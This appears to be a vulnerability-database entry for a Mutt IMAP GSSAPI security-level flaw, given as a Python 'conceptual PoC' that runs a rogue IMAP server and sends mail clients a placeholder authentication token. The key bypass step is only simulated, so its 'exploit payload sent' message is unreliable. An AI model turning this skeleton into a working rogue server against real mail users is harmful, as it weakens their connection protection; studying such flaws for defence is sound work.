CVE-2026-43862 Mutt IMAP安全级别处理不当漏洞

# Conceptual PoC for CVE-2026-43862 # This script demonstrates a setup to test the GSSAPI handling issue. # It simulates a server interaction that might trigger the security level mishandling. import socket import time def trigger_vulnerability(): # 1. Setup a listener to act as the IMAP server server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 143)) server_socket.listen(1) print("[+] Malicious IMAP server listening on port 143...") conn, addr = server_socket.accept() print(f"[+] Connection received from {addr}") # 2. Send IMAP greeting conn.send(b"* OK [CAPABILITY IMAP4rev1 AUTH=GSSAPI] Server Ready\r\n") # 3. Wait for AUTHENTICATE command data = conn.recv(1024) if b"AUTHENTICATE GSSAPI" in data: print("[+] Client initiating GSSAPI auth...") # 4. Send response to continue authentication # Exploit: The server might send a token that implies a lower security level # than required, which mutt < 2.3.2 fails to reject properly. conn.send(b"+ \r\n") # Receive client token client_token = conn.recv(4096) print(f"[+] Received client token length: {len(client_token)}") # 5. Here an attacker would respond with a crafted GSSAPI token # bypassing the integrity check logic. # For demonstration, we simulate the acceptance. response = b"+ AQA=" # Simplified token conn.send(response + b"\r\n") print("[+] Exploit payload sent. Check if integrity protection is bypassed.") time.sleep(1) conn.close() server_socket.close() if __name__ == "__main__": trigger_vulnerability()